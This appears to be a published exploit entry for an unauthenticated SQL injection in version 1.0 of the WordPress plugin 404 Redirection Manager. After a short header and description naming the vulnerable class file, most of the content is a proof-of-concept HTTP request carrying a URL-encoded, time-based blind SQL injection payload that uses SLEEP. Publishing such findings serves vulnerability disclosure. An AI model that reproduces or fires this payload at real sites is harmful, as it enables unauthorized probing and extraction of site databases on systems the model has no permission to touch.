WordPress Plugin 404 Redirection Manager 1.0 - SQL Injection

# Exploit Title: Unauthenticated SQL injeciton in 404 plugin for Wordpress v1.0
# Google Dork: N/A
# Date: 17/12/2016
# Exploit Author: Ahmed Sherif (Deloitte)
# Vendor Homepage: N/A
# Software Link: https://wordpress.org/plugins/404-redirection-manager/
# Version: V1.0
# Tested on: Linux Mint
# CVE : N/A


The plugin does not properly sanitize the user input. Hence, it was
vulnerable to SQL injection.

The vulnerable page is : custom/lib/cf.SR_redirect_manager.class.php on line 356

[#] Proof of Concept (PoC):


GET /path-to-wordpress/%27%29%20AND%20%28SELECT%20%2a%20FROM%20%28SELECT%28SLEEP%285-%28IF%28%27a%27%3D%27a%27%2C0%2C5%29%29%29%29%29FPYG%29%20AND%20%28%27SQL%27%3D%27SQL
HTTP/1.1
Host: localhost

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: wp-settings-time-1=1480877693
Connection: close*